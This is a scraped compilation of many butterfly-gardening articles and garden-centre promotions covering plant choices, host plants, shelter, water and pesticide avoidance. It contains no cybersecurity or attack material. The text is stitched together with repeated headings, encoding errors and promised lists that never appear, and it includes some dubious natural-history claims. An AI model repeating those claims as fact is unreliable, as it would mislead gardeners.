No butterfly garden should be without Butterfly Milkweed (Asclepias tuberosa). Not only will the bright orange blossoms attract many butterflies, but the plant will also provide food for caterpillars. Without the caterpillars there would be no butterflies. Dill and parsley also provide food for butterfly caterpillars. If youвЂ™re lucky, you may even have Monarch butterflies laying their eggs on the milkweed and you can watch the entire life cycle, from caterpillar to chrysalis to butterfly.

Many other commonly grown flowers will attract butterflies, including hollyhocks, purple coneflowers (Echinacea), Black-eyed Susans (rudbeckia), cosmos, huechera, zinnias, beebalm and cleome. Buddleia, also known as butterfly bush, is a must in any butterfly garden. If you have room for this large plant, Mexican sunflower (tithonia) will attract many butterflies and hummingbirds with its sunny orange blooms.

Plan your butterfly garden so there are blooms all season long. The rhododendrons, azaleas and lilacs will provide a spring snack for butterflies, followed by summer-blooming plants such as the buddleia and asclepias. In the fall, butterflies will sip nectar from asters and вЂAutumn JoyвЂќ sedum.

In addition to providing food for butterflies, your butterfly garden should also provide a resting place along with shelter from the wind and cold. Include flat rocks in your garden where the butterflies can sun themselves. ItвЂ™s even better if the rocks have shallow depressions where water will puddle and provide a place for butterflies to gather for a drink.

A small log pile will provide shelter from the weather for butterflies. You can also purchase butterfly shelters that look rather like tall, narrow birdhouses with several slots for entrances. These may attract butterflies, but in my experience wasps tend to move in, discouraging any butterflies from entering.

One final thing that every butterfly garden should include is a comfortable bench placed where you can sit and admire the beautiful butterflies. After all, youвЂ™ve created this garden not only for the butterflies but also for your own enjoyment.

How to Make a Butterfly Garden is something that a lot of folks want to know about.

I like how easy it can be to start a basic butterfly garden.

How to Make a Butterfly Garden

This is a simple guide for anyone wanting to get started
It is a great way to get some beautiful butterflies visiting you during the summer monthds.

Making a simple compost bin is a great way to get started recycling kitchen and yard scraps for a good cause.
Like with this easy butterfly garden, it is a simple way to get started or test the waters.

This is for anyone asking how do you start a butterfly garden.

Planting a plant that says it attracts butterflies in a good start.
However, there is more that goes into attracting many butterflies and keeping them around.

Butterfly gardens give butterflies a place to do more than just visit.

These gardens are a place for butterflies to feed from.
Also, butterfly gardens are areas for other pollinators to visit.

Why should you start a garden for butterflies?

Possibly the biggest reason may be that watching a beautiful butterfly in your garden can be both rewarding and relaxing. Also, the flowers that you grow in that garden are rewarding to enjoy.

Preserving a species is another reason to start a butterfly garden.
Pollinators, including butterflies, will enjoy the pollen.
They will feed off of the flower nectar and aid in pollination.

Tips for starting a butterfly garden.

Start by researching planting a butterfly in your area of the country.
Because of the weather and climate, some times of the year are better than others for starting a garden.

More tips for you.

Butterflies like puddling station to help them keep hydrated. Simply fill a bowl or dish with wet mud or sand and place it in the garden.
Keep the butterfly garden free from pesticides of any kind.
Make a small shelter for the butterflies using a wooden box. Butterflies like to have a safe place to hide from weather or predators.

How to select a location for a garden for butterflies.

Butterflies need a lot of sunlight.
Select a location that can get at least six hours of sunlight a day.

Here are some more tips for locations.

Large and dark rocks provide a warm spot for butterflies to take a break on.
Place the shelter or have a wall to help block the wind.
Use soil that is loose and that will drain well.

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You may also be interested in these ideas.

How to create a butterfly garden

How to select plants for your butterfly garden.

Once you have found a sunny location you can start to lay out the design of your garden.
Do some research before heading out to purchase the plants that you will use.

What to research in selecting plants for your butterfly garden.

Take into consideration what kind of butterflies are more common in your area.
Also take into consideration the kind of plants that are native to your location.
Plant a variety of host plants so butterflies will lay their eggs and go through the cycle of life in your garden.
Many butterflies like plants that have pink, red, yellow, purple, or orange flowers. Butterflies also tend to like gardens that have a large concentration of one color, or colors that are similar to each other. A garden with lots of different colors, and especially one in which the colors are mixed will not attract as many butterflies.
Flowers that have either small, tube-shaped flowers, or very large, flat petals are the best.

Popular plants for a butterfly garden.

Selecting plants for a butterfly garden, can be butterfly specific.
If you are hoping to host a specific butterfly, try planting a specific plant.
It is best to space your plants apart to allow for growth.

Plants that butterflies like.

Carrot, dill, fennel, parsley, and Queen Anne’s lace are favorite host plants for the black swallowtail.
Zebra swallowtails favor the pawpaw tree.
The monarch butterfly only lays their eggs on milkweed plants while the cabbage white butterfly likes nasturtiums, cabbage, and broccoli.
Painted lady butterflies like thistle, hollyhock, and burdock.

How to maintain your butterfly garden.

Once you have planted the plants, laid out the rocks, and provided a shelter you can sit back and enjoy the butterfly garden.
There are a few things that you can do to maintain your garden while you enjoy the butterflies.

Maintaining a butterfly garden.

Make sure that the puddling station has wet sand or mud.
Attract butterflies using a homemade bait by mixing old apples with sugar or beer. Simply place this on a plate or in a bowl where the butterflies can find it.
Take care of the plants and the soil in the garden.
Take pictures and keep a log taking notes about your garden.

Butterfly Gardening

How to create a butterfly garden

Creating a garden or habitat for butterflies can be an exciting and rewarding project for you and your family. These beautiful insects add active beauty to the garden as they feed, roost, and fly from bloom to bloom. Many of the flowering shrubs, annuals, and perennials that provide food and shelter for butterflies can be found at the Good Earth Garden Center!

Creating a Butterfly Habitat

A habitat for butterflies is an environment that provides food, shelter and other things necessary…from eggs to larvae to pupae to adult. Several of the components of this habitat are as follows:

Sunny Areas: Butterflies are coldblooded and need sunlight to absorb warmth for flight and other activities.
Water and Moist Areas: Most butterflies obtain water and nutrients/minerals from the moist areas found in and around your garden. Swallowtails and other varieties will congregate around the edges of shallow depressions filled with water. This behavior is commonly referred to as “mud-puddling”.
Shelter areas: Butterflies seek shelter on shrubs, log piles, stone and mortar walls…where they ca bask in the sun, seek refuge from bad weather and predators, or hibernate.
Flowers: Butterflies are attracted to a wide variety of flower shapes, colors, and nectars. Mass plantings make it easier for the butterflies to discover the flowers.

Host Plants for Butterflies

After mating, the female butterfly searches for the proper “host” plant on which to deposit her eggs. These host plants meet the needs of the butterfly during all four stages of its life cycle; egg, caterpillar, chrysalis, and adult. Some of the host plants you can provide are:

Butterfly Weed (Monarch) * A MUST for butterfly gardens; read all about milkweed in this post!
Dill, Parsley, Fennel, Rue (Black Swallowtail)
Tulip Tree (Tiger Swallowtail)
Passion flower (Gulf Fritillary)

Nectar Flowers for Butterflies

There are many flowering shrubs, annuals, and perennials that supply food (nectar) for butterflies.

Annual Flowers: Penta, zinnia, marigolds, lantana, cosmos, impatiens, verbena, salvia, petunias, dianthus, and ageratums.
Perennial Flowers: Coneflowers, asters, black-eyed susans, coreopsis, verbena, butterfly weed, cardinal flower, primrose, and goldenrod.
Flowering Shrubs and Vines: Azaleas, butterfly bush (buddleia), hibiscus, white or pink viburnum, wisteria, honeysuckle, lilac, mock orange, and bougainvillaea.

Planting Your Flowers and Shrubs

The staff at The Good Earth Garden Center will be glad to help you with all the plants and materials necessary for attracting butterflies to your garden!

Butterflies are some of the most beautiful and interesting creatures on Earth. A butterfly garden is an easy way to see more butterflies and to help them, since many natural butterfly habitats have been lost to human activities like building homes, roads and farms. It is easy to increase the number and variety of butterflies in your yard. Simply grow the plants the caterpillars like to eat, and plants that adult butterflies feed on! We can help – we have LOTS of informative articles to help you:

How to create a butterfly garden

Create a Butterfly Garden

How to create a butterfly garden

Butterflies are some of the most beautiful and interesting creatures on Earth. By planting a butterfly garden with all of the right kinds of plants and flowers that butterflies love to feed on and lay eggs on, you will certainly have a yard full of butterflies throughout the growing season. Butterfly gardens can be any size – a window box, part of your landscaped yard, or even a wild untended area on your property.

Creating a butterfly garden should start with some serious research to learn which kinds of butterflies are native to your area. You can learn that from our article “Butterfly Gardening by Area”. Make a list of all of the different kinds of butterflies you would like to attract, and then learn which flowers and plants they both feed on and lay eggs on. All of the plants will certainly be native to your area and therefore easy to grow with the right conditions and care. Adult butterflies will visit for a longer period if they find plants to lay their eggs on. These are called ‘Host Plants’ and you can read about them in our article on “Butterfly Host Plants.”

Once you have done your research and know which kinds of plants you need, you should learn about the plants and flowers. What do they look like? How tall do they grow? What conditions do they thrive in? Perhaps print small pictures from the internet of each plant and flower so that you can begin to plan your butterfly garden by placing the pictures in the order in which you will want to plant them. In this way you can get a very good estimate of how much room you will need, and what your finished butterfly garden will look like.

How to create a butterfly garden

Check with a local greenhouse about getting these plants and flowers. Find out which ones are annuals and which are perennials. You may want to plant the annuals in the front of the garden or away from garden fencing because they will need to be replaced each year. Perennials will come back year after year so these should be near the back of the butterfly garden and left alone to grow and thrive. If your local greenhouse cannot get you the plants you need, check in catalogs that sell bulbs or online and order them. Be sure to learn when and how to best plant them, especially if you must purchase bulbs and start the plants from scratch.

You can add some butterfly garden accessories like a Butterfly House, which has slots the ideal size for keeping birds out while giving butterflies protection from the wind and weather, and are beautiful garden decorations. You could offer an additional nectar source close by to supplement your flowers. By providing both the food and shelter butterflies need you can prolong the butterfly’s stay in your garden and draw in others.

Once you have designed and started your butterfly garden, you can be proud that you have made a habitat for butterflies in your own yard, which helps with the conservation of the many species of quickly disappearing butterflies today. You will certainly want to place your favorite outdoor furniture near so that you can enjoy all of your visitors day after day.
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Butterflies of North America by State:

It is important to know which adult butterflies are found in your area. This will help you determine the Butterfly Nectar Plants and Butterfly Host Plants you will want to plant when creating your butterfly garden.

It’s easy to attract a range of butterfly species to your garden, and our expert guide offers some top tips for doing so.

How to create a butterfly garden

“It’s easy enough to plant species that butterflies like to feed on, but you need to do more than that to support your local populations,” says Butterfly Conservation’s Richard Fox.

“Having a range of nectar-rich plants will bring local butterflies to your garden, but you also need to think about providing the habitat and foods for caterpillars that are likely to live there. It’s best to concentrate on species that already visit, perhaps the holly blue, brimstone and orange-tip, rather than trying to attract butterflies from further afield.”

Here are our tips for creating a butterfly-friendly garden:

Water your plants

Plants that are well watered stay healthy and produce more nectar for hungry butterflies. Don’t use insecticides and pesticides. You can prolong flowering by deadheading flowers and mulching with organic compost.

Welcome wild corners

Many caterpillars and pupae hibernate on the ground and among dead foliage. Tall grass with wildflowers is ideal for gatekeepers; large, small and Essex skippers; and meadow browns.

Protect peatbogs

Avoid using peat-based compost. Peatbogs are home to a number of important species including the large heath butterfly, and you can easily buy alternatives that don’t compromise this important wildlife habitat.

Offer caterpillar foods

How to create a butterfly garden

A small patch of stinging nettles behind a garden shed can offer a range of butterflies, including red admirals, peacocks and commas, a valuable place to lay eggs.

The holly blue butterfly lays eggs on holly in spring and then switches to ivy in late summer. The caterpillars only feed on ivy flowerbuds, so you need to allow ivy to flower. The flowering ivy is also attractive to moths, hoverflies and bees such as ivy bees.

Trim carefully

Many moths and some butterflies breed in trees and shrubs, including native hedges. Brimstones lay eggs on buckthorn and alder buckthorn. Maintain habitat by only trimming parts of native hedges each winter.

Plant in the sun

Butterflies seek out warm, sheltered parts of your garden where you need to cultivate nectar-rich flowers that offer a food source from early spring, when they are coming out of hibernation, through to late autumn. Make sure there are some rocks as well, where these insects can bask.

San Antonio has steadily been increasing habitats for Monarch butterflies and other pollinators since becoming the first city in the country to be named a Monarch Champion in the National Wildlife Federation (NWF) Mayor’s Monarch Pledge campaign. Our city of San Antonio pledged to adopt 100% of the 24 actions suggested to support the declining population of the Monarch butterfly. We at Rainbow Gardens are so proud to be a part of a city like San Antonio that supports such an amazing cause.

At Rainbow Gardens we provide our support for the Monarch butterfly population by doing our best to search for, find, and stock milkweed (the ONLY host plant for Monarchs) and other nectar plants. And it’s not just the Monarch butterfly that we care deeply about, it’s all other butterflies and pollinators alike. We carry a multitude of host and nectar plants and native species that are sure to have the butterflies swarming your landscapes in sheer joy.

We provide you with informational signs about pollinator plants and offer multiple fertilizer lines for many options to feed your butterfly plants safely. And don’t forget about our inspirational display butterfly gardens. Our Rainbow Gardens Bandera location is even a Monarch Waystation, and one visit will leave no doubt why. When the sunshine is out, the garden is alive with the motion of fluttering wings. Our Bandera location is also host to our own in-house butterfly guru, Laura Jarvis. Laura has spent years studying, observing, raising, and sharing her knowledge about her absolute favorite thing in the world…butterflies. She always offer seminars and workshops so that you can get up close and personal with these magical creatures.

How to Design A Butterfly Garden

Quick Tips for Making the Perfect Butterfly Garden:

Avoid using pesticides or fungicides in your garden. Butterflies like organic nectar.
Ensure your garden is full of nectar producing flowers for as much of the year as possible.
If you cannot always have flowers install a butterfly feeder instead.
Provide host plants for caterpillar butterflies

The actual design of your garden is actually of little importance to the butterfly. Planting flowers that they are attracted to will help bring them in as will some water – you may even think about adding some butterfly houses to make your garden that much more attractive. Some things to consider in your butterfly gardening design are the size of your garden and the types of flowers and plants you want to grow. Pick a style of garden that you like and ensure it contains the plants and flowers that appeal to the butterflies you wish to attract.

Of course, one of the key things to think about when planning a butterfly garden is what species of butterfly lives in your area and what types you want to attract. It is important to do thorough research on exactly which plants and flowers will attract these species of butterflies. Once you work out this decision and decide which types of butterflies you want flying around and visiting your home, then simply create your butterfly gardening plan around those species.

Although the butterflies don’t really care how your garden is planted, you probably do so it is important to coordinate the colors you choose for your flower beds. You want to avoid having your butterfly garden looking like a hodgepodge of unrelated colors and textures that could create confusion to you and maybe even the butterflies.

One way to come up with a good butterfly garden design is to draw and color a layout of your butterfly garden plan to see what it will look like when finished. Keep in mind that warm colors like red and orange are flashy and showy. These colors have a greater impact against a strong green background. Cool colors such as blue and purple are soothing and toned down and would work better with a white contrast to create the look of freshness and brightness.

Some of the plants you might think about including in your garden include Milkweed, Honeysuckle, Day Lilies, Lavendar, Yellow Sage, Valerian, Sunflower, Daisies, Purple Coneflower, Summer Lilac

How to Attract Butterflies to Your Garden

The flittering of the butterfly through your garden is no accident if you planned your garden carefully. The adult butterfly flitters from flower to flower – sipping nectar from many flowers in your gardens, while other adult butterflies search for areas to lay their larvae. It is good to take note that the butterfly garden is going to differ from other areas of your garden. Your natural instincts will be to kill off pests, larvae and creatures in the garden, but in the butterfly garden your best results are noticed when you use organic gardening: Which means no chemicals at all.

In you want to include the use of butterflies in your landscape you will need to create a safety zone for your butterflies to feel safe. Butterflies frequent habitual zones, where they feel safe and where areas of the landscape meet with the tree lines. Creating your butterfly gardens near or around trees will help in attracting even more of these graceful creatures to your gardens.

A tip in attracting the Black Swallowtail or the Anise Swallowtail is this: Plant parsley, dill or fennel in your gardens, these plants attract this certain butterfly. If these herbs are not your favorites, you can attract other types of butterflies using other flowers. To attract the Fritillary butterfly for instance, plant Lupine flowers your garden. Or you may want to consider planting Snapdragons to attract butterflies that are native in your own area. Your early butterfly gardens are going to attract butterflies only in passing, but creating and growing the gardens that offer a safe haven for the butterfly will urge them to stay in your garden.

Butterflies are attracted to areas of your gardens where they can gather food for their offspring. The caterpillar will eat from the plants while the adult butterflies will sip on the nectar of the flowers. As your plants, shrubs, and flowers mature, the amount of butterflies to your gardens will also increase. The plants and flowers that you put in your garden this year will attract only a few, but in the years to come the natural instinct of the butterfly will lead them to your garden.

What is the adult butterfly searching for in your gardens? The butterfly searches for areas to take shelter from the high winds, the rains, and the summer storms. This is where the trees and shrubs in your gardens become important in protecting the butterfly and offering shelter. During the normal, warm sunny summer day the butterfly wants the wide-open areas of your lawn and garden.

Butterflies will seek soft soil that is sandy-like to find water. The sand-like soil that allows water to puddle up after a rainstorm is a butterflies delight. The developing stages of the caterpillar to the butterfly are observed often in the established butterfly garden.

By creating the atmosphere in the garden that offers the shelter, food, water and the fragrance the butterfly is searching for you will have Butterfly Garden success.

How to create a butterfly garden Butterflies Eating Fruit

With butterflies under threat from climate change, habitat destruction, and damaging industrial farming practises, it is more important than ever to build butterfly friendly gardens. It is a small gesture, that anyone with a garden can make, towards protecting butterflies and supporting the increasingly fragile ecosystems that support life on this planet. Thank you for reading.

Dream of having a bee and butterfly garden? Make it come true with our tips on how to attract them.

Updated August 4, 2021

How to create a butterfly garden

If the buzz of bees and flutter of butterfly wings have seemed a little quieter in your garden recently, you shouldnвЂ™t be too surprised. The numbers of these little creatures are dwindling around the world, leaving our gardens empty of them. But, if you want to help fight back against their falling numbers, why not make a bee and butterfly garden? Check out these tips and create your own.

To create a bee and butterfly garden, donвЂ™t worry about keeping it perfect – let everything grow naturally wild and youвЂ™ll see better results!

Plants that attract butterflies

There are plenty of plants for butterflies and flowers for butterflies that you can include in your garden to help them thrive. Here are just a few that you can add:

Honey Bell Bush

Planting flowers that attract butterflies will help encourage them to flock to your garden, creating a beautiful scene and helping with their conservation.

Plants that attract bees

Just as with butterflies, there are a lot of plants, trees, and flowers for bees that you can grow to help attract them into your space. Check out these to find the styles that will suit your garden:

Sweet Thorn Tree

Mix up the types of plants you grow all year long to keep your garden in full bloom and offer plenty of variety for the local bees.

Stop using pesticides

Pesticides are a sure way of keeping bees and butterflies out of your garden, so avoid them at all costs! These chemicals can be a huge threat to your bee garden or butterfly garden and can be toxic to the creatures coming in. If youвЂ™re friendly with your neighbours, try asking them to ditch pesticides too and you should see the bees and butterflies start to return.

Once you start growing plants that attract bees and butterflies and making your garden more insect-friendly, youвЂ™ll be helping these little creatures to flourish. Our planet wonвЂ™t survive without them, so it’s vital we do everything we can to help them stick around! Let your garden grow wild with these beautiful plants, trees, and flowers, and youвЂ™ll be doing your bit for our world.

Use timber planks to create a square box (20cm deep minimum) with two open vertical sides and a hinged top that can open and close.

Fill it with blocks of wood and drill holes in them, varying the holes in size for different bees (between 2mm and 10mm).

Place it in direct sunlight and without any plants obstructing it.

Butterflies are amazing insects. I doubt anyone would argue that there is a more beautiful bug than the butterfly. But how do you create an atmosphere that is conducive to the butterfly? Well, look no further than this great infographic.

What are the benefits of butterflies?

If you need some convincing on why you should create a butterfly garden, here are three tremendous benefits butterflies offer. 1. They are excellent pollinators. 2. They indicate a healthy natural and balanced community. 3. Butterfly habitats attract other wildlife and promote a healthy ecosystem.

What is the lifecycle of a butterfly?

As you can see in this illustration butterflies begin as a caterpillar once they hatch from an egg. Eventually, the caterpillar will create a cocoon and emerge as a beautiful butterfly. Adult butterflies will then feed on the nectar of the very plants they used to eat as a caterpillar, pollinating them as they go.

How do I create a butterfly garden?

If you don’t have much space, don’t worry! Even a small container of pollinator-friendly plants can be enough to attract and feed butterflies .

What types of plants can I plant to attract or feed butterflies?

Well, that depends on the season.

Plants for attracting butterflies in spring:

African and French marigolds, sunflower, lantana, impatiens, sedums, and verbena.

Plants for attracting butterflies in summer:

Ageratum, anise hyssop, treasure flowers, black-eyed Susans, blanket flowers, blue mist, butterfly weed, and candlestick tree.

Plants for attracting butterflies in fall:

Joe-Pye weed, johnny jump-ups, pansies, cosmos, ornamental cabbage, snapdragons, butterfly weed, pot marigold, and calendula.

As you can see there are plenty of plants and reasons to make a butterfly garden. Check out the LSU Ag Center for more great butterfly information. And be sure to share this infographic with your friends and family so they can learn how to make great gardens too!

May. 21, 2021 8:00 am

For a while, entomologists have been sharing their increasing concerns that the eastern population of the monarch butterfly is decreasing and this year’s statistics so far are no different.

“The monarch butterfly has been around for 150 to 200 million years and it will continue to live on,” said Mike Martin, operations manager at Monarch Research based in Marion. The nonprofit organization is dedicated to raising awareness for the need and installation of vibrant, thriving pollinator habitat throughout Linn County and to increase the monarch butterfly population by making a difference one yard at a time.

“But it’s the monarch migration phenomenon that is at risk,” he said. “Each year in the spring (late February, early March) millions of monarch butterflies begin their migration north out of butterfly sanctuaries of Central Mexico. As they head north, their sole purpose is to mate and lay eggs, building the next generation of monarch butterflies. But finding milkweed to lay their eggs is a struggle.”

Martin noted that if there is no milkweed, a “host specific” plant, there will be no monarch butterflies. “And on the backside, in the fall (September, early October) when monarch butterflies begin their journey back to Mexico, their need for fall blooming nectar plants increases, as nectar is the fuel needed for the arduous journey south.”

Martin noted that Iowa plays a key role in this process.

“A huge concern and responsibility for us is that 38 percent of the monarch butterflies that migrate south to the overwintering sanctuaries of Mexico come from right here in Iowa,” he said.

Luckily, local homeowners can create garden spaces that can help support the life and migration of butterflies — monarchs and other pollinators — through the area.

Linn County Master Gardener Beverly Whitmore, who has been gardening since she was a young girl, has a pollinator garden in her yard and said there is a “simple recipe” to creating one in your own yard.

It’s important to have plants in the garden that not only provide the nectar for butterflies to drink, but also plants where they can lay their eggs, Whitmore said. She, like many other local environmental experts, encourages the selection of native Iowa plants, and there are a few that will attract butterflies specifically.

“Butterfly weed, common milkweed, cone flowers are perennials that butterflies like,” she said. “If you plant zinnias you’re going to get butterflies, as well as cosmos, marigolds, and lantana.”

Whitmore said some butterflies are also attracted to herbs such as fennel, dill, parsley and oregano so those are good additions to the garden.

In addition to planting native trees, shrubs, and perennials, homeowners also can work to reduce the amount of turf grass, a non-native plant, in their yards, Martin said.

“Homeowners can create your own ‘HomeGrown National Park,’ by creating a pollinator zone,” he said.

First, pick a sunny spot in the yard, Whitmore said.

“Butterflies are predominantly active in warm bright sunny areas,” she said.

Having a shade tree nearby can be helpful because it offers a spot for butterflies to rest for the night and they blend into the bark, Whitmore said. Adding other elements such as water, rocks and brush also will increase life within your habitat. Spoiled fruit is another source of energy for butterflies, she said.

To keep your butterfly garden flourishing, it is really important to avoid insecticides, Whitemore said.

“Most butterflies and caterpillars are easily killed by most insecticides,” she said. “So keeping your yard natural and organic is key.” Sometimes homeowners will see little holes in the leaves of plants and think they have to spray them to get rid of the pests, she said. “But that might just be a butterfly larvae. Those baby caterpillars can eat a lot of leaves and you just want to stand back and let them eat the plant,” she said.

Even if you don’t have a large yard, there are creative ways to attract butterflies, Whitmore said.

“People living in apartments or condos can still do butterfly gardening in a window box or planter on a balcony or patio,” she said.

Martin agreed. “Having a butterfly garden is not limited to homeowners,” he said. “Something as simple as a container with flowers rich in nectar helps.”

He recommends a variety of plantings so that you have plants blooming in spring, summer and fall.

“Creating a living environment with a mix of host plants, native perennials, nectar rich annual plants and grasses brings life to those areas where you live,” he said.

Both garden experts encouraged finding time to create an environment that works for you and not the other way around.

“Begin with a space you are able to manage, you can always expand later,” Martin said. “And enjoy your work and have fun with it.”

“Having a butterfly garden is a wonderful thing,” Whitmore said. “It’s fun and peaceful and you’re doing a good thing for Mother Nature.”

“Having butterflies and bees in your yard signifies a healthy environment,” he said. “Increased use of chemicals to have the greenest yard in your neighborhood is costly, laborious and negatively impacts our overall environmental health. Use of pesticides to eliminate insects and mosquitoes in your yard, eliminates those pollinating insects that sustain our lives. Without these insects, the quality of the life we know ceases to exist.”

Nectar plants for pollinators and butterflies

Here is a partial list of flowering plants that are either native or have adapted to Iowa and are beneficial to pollinators and butterflies with those especially liked by monarchs noted:

James Foss is an expert gardener, understanding both the science and love that goes behind having your own at-home garden. With multiple degrees in horticulture, Foss has used his expertise to help guide fellow gardeners in the classroom, in multiple publications, as well as through personal assistance.

Creating a butterfly garden is easy, and there are hundreds of flowers and shrubs to choose from. Here are five tips to help you create a butterfly garden that will also help increase your local butterfly population!

How to create a butterfly garden

Photo by Nike Sh on Dreamstime

1. Prepare the Site

Your butterfly garden will need plenty of sun, so be sure to choose a bright spot for it.

Depending on how much space you have, you can set aside space in your yard or even just use a large gardening pot. But whichever you choose, do yourself a favor and place your butterfly garden by a window so you can see the fruits of your labor. Happy butterflies fluttering around your garden is a remarkable sight.

Just regular potting soil will do the trick. If you’re planting in your yard, prep the area by troweling where you’ll plant, and add fresh soil as needed.

If you’re using a pot, use a wide one. For butterfly garden pots, width is more important than length. Your planter doesn’t need to be especially deep because most of the plants you’ll be using don’t have deep root systems. In fact, you can even use several smaller pots and add them to a decorative pot holder, or use something fun like an old wheel barrel or a half oak barrel to contain all your plants.

How to create a butterfly garden

Photo by Kurhan on Adobe Stock

2. Choose Your Plants

This is where you really get to make some exciting decisions. There are many different types of flowers you can choose for your hungry monarch friends. Depending on your area, you can choose by color, but the fragrance is what keeps the customers coming, and makes your spring days an outdoor jazz festival of smells.

Research what butterfly-attracting plant species are native to your area. Depending on where you live, some butterfly-attracting plants include purple cone flowers (Echinacea purpurea), yellow cone flowers, sunflowers, marigolds, poppies, cosmos, salvias, some lilies, asters, coreopsis, daisies, verbenas, lantanas, milkweed (especially for the monarch butterfly whose caterpillars feed solely on this plant), the butterfly bush (also called buddleia), zinnias, pentas, and others. Violets, pansies, Johnny-jump-ups, and goldenrod also make an attractive choice for butterflies in search of nectar.

How to create a butterfly garden

Photo by Paul Reeves Photography on Shutterstock

Since these magnificent creatures start off as caterpillars, when making a garden for butterflies, you’ll need to satisfy the meal requirements for their creepy-crawly initial state. Provide host plants to feed the caterpillars. This is just as important as planting flower beds with nectar-rich blooms. Good caterpillar host plants include daisies, burdocks, hackberries, Queen Anne’s lace, turtleheads, false foxgloves, plantains, parsley, dill, and fennel.

How to create a butterfly garden

Photo by Keneth Keifer on Shutterstock

Also remember to save some room around the edges of your pots or ground area for wild grass, clover, and nettles to make butterflies feel welcome.

3. Fertilize Your Plants

I like to use slow-release fertilizer pellets that come in plastic shake bottles. Add a pinch of pellets at the root of each plant as you place them into the soil. Follow up with a little at the stems once they’re planted.

How to create a butterfly garden

Photo by Photographee.eu on Adobe Stock

It’s only necessary to add more fertilizer every six weeks. If you have a liquid fertilizer you prefer, you’ll just need to treat your plants more often.

4. Watering & Care

Among the easiest plants for beginner gardeners are violets, pansies, Johnny-jump-ups, pentas, marigolds, zinnia, and goldenrod. You don’t need be too concerned about tending to them. Water as needed, but no more than a few times a week if they haven’t gotten a good natural spring shower.

Since you’re feeding caterpillars as well as their parents, don’t be surprised to see some chew marks on the leaves. Just trim the leaves as needed.

How to create a butterfly garden

Photo by Michael Ledray on Dreamstime

If you begin to see the inevitable swarm of small bugs like aphids, put one teaspoon of dish detergent in a quart spray bottle filled with water. Just spray your plants as necessary right after watering. The aphids will turn black within a day, and eventually fall off.

Aphids can also be controlled by releasing ladybugs (ladybirds) and other biological pest control agents that do not harm butterflies.

With small home butterfly gardens, it’s common for the larvae to exhaust the food source before metamorphosis occurs. If you’re gardening for monarch butterflies, you can replace the expended milkweed with a slice of pumpkin or cucumber to serve as a substitute source of food for monarch caterpillars in their final instar.

5. Add Extras

As long as you’re feeding the butterflies, have the hummingbirds join the party too. They’ll automatically be attracted to all that fragrance, but the addition of their own feeder will keep them coming back for more. The feeder should be cleaned and refilled every two weeks.

How to create a butterfly garden

Photo by Wonderwolf on Dreamstime

Keep flowering plants trimmed back and fertilized so they’ll have a chance to spread their blooms all the way through summer.

Many butterflies are becoming less abundant due to habitat destruction and fragmentation, and they don’t feed on the plants regularly found in gardens. But now you know how to create your own butterfly garden to help the butterflies bounce back!

Posted on: Monday, April 22, 2019

If you’re looking for a fun spring or summer project that will attract beautiful butterflies to your yard, consider planting a butterfly garden. As many species of butterflies are threatened by pollution, pesticides and habitat loss, not only will creating a haven for the gorgeous insects benefit them, but you’ll be rewarded by seeing these lovely creatures make themselves at home in your butterfly garden.

What to Consider Before Creating a Butterfly Garden

The real estate mantra, “location, location, location,” also applies to building your butterfly garden and should be your first consideration. Butterflies require plenty of bright sunlight as well as damp cool areas in order to thrive. Choose a large area that’s bright and sunny for butterfly-attracting plants, but is also not too far from a shaded wooded area, pond or other water source where butterflies can drink from the moist soil.

Planting Your Butterfly Garden

When laying out your butterfly garden, keep in mind that butterflies are attracted to large patches of color, so group several of the same type of plant or flowers together. You’ll want to choose plants that grow to a variety of different heights, giving butterflies various tiers to feed from. It’s also important to note that various species of butterflies are active at different times throughout the year, so choosing colorful plants and flowers that produce nectar continuously from spring to early fall is wise.

Lastly, add a few flat rocks or decorative paving stones throughout your butterfly garden where the colorful insects can bask in the sun which helps them control their body temperature and remain active.

Maintaining the Health of Your Butterfly Garden

Herbicides and pesticides are both highly toxic to all butterfly species, so it’s important to avoid using them in your butterfly garden. If you have a bug infestation that you need to eliminate, using predatory insects, insecticidal soap or removing pests by hand are all good choices.

5 Plants Perfect for a Butterfly Garden

Butterflies and native plants have co-evolved and are very much dependent on one another, so native plants are the best choice for attracting lots of the stunning insects to your butterfly garden. These five plants are all good choices to start with:

California Narrowleaf Milkweed

A favorite of monarch butterflies, this perennial plant has a three foot tall stem, large narrow five inch leaves and a five inch flower cluster. It also tolerates clay soil well and is covered with monarch caterpillars during the summer. The alkaloids associated with this milkweed give the monarch and other butterflies that feed on it protection from predators.

Marsh Baccharis and Douglas Baccharis

This 3 foot perennial features greenish-brown stems and green leaves, and grows very quickly in wet and moist places. Consider placing this plant towards the back of your butterfly garden because, although it attracts a wide variety of butterfly species, it’s not as attractive as some of the other plant choices on this list that would look best in the foreground.

Low Blue Blossom

A beautiful addition to a butterfly garden, this showy evergreen California lilac has shiny green foliage and features lots of beautiful sky blue flowers. It makes an excellent evergreen ground cover that tolerates full sun to full shade, grows well in sand or clay and is drought tolerant.

Red Thistle and Venus Thistle

These are large plants with 1-2″ bright red flowers used by all sorts of butterfly larva and swallowtail butterflies. They can grow to six feet tall and generally don’t live more than 2-3 seasons after they produce a full flower show. They prefer gravelly sand to loamy soil.

Coyote Mint

This two-foot high perennial plant smells like a minty toothpaste and grows two feet high featuring gray-green leaves and light purple clusters of flowers in summer. It’s an absolute butterfly magnet when planted in the sun. It’s also drought tolerant, but takes garden water if given perfect drainage.

The California Native Plant Society provides a comprehensive list of plants and flowers that attract a wide variety of butterflies, so check their website for additional plant species you can add to your butterfly garden.

Butterfly Garden Inspiration

If you’re looking for some inspiration for your butterfly garden, consider visiting the Hallberg Butterfly Garden in Sebastopol. Nestled among the apple orchards of western Sonoma County, the Hallberg Butterfly Gardens cover nine acres of overgrown vines and thickets, flowering pathways and meadows. The Gardens are open for tours from April 1 to October 31 on Fridays and Saturdays from 10am – 4pm by appointment only.

Let the Experts at SummerWinds Help

We carry a wide range of flowering plants that will attract a large variety of species to your butterfly garden. Our helpful staff will gladly offer advice and recommendations of plant varieties that will look not only look beautiful, but bloom throughout the spring, summer and fall and attract multiple varieties of butterflies to your garden. Come visit us today!

About SummerWinds Nursery: SummerWinds Garden Centers is a leading high-end retailer of garden and nursery products. Headquartered in Boise, Idaho, SummerWinds operates retail nurseries in the greater Phoenix, Arizona area, and in Silicon Valley, California, making it one of the largest independent retail nursery companies in the west. SummerWinds appeals to both the serious and casual gardeners, with a broad selection of premium gardening products and a friendly and knowledgeable staff.

Again, we all know nature needs a helping hand, so this project is all about helping butterflies 🙂 I’ve tried to keep it as flexible as possible again to make it accessible for more people without unecessary travel to purchase supplies.

How to create a butterfly garden

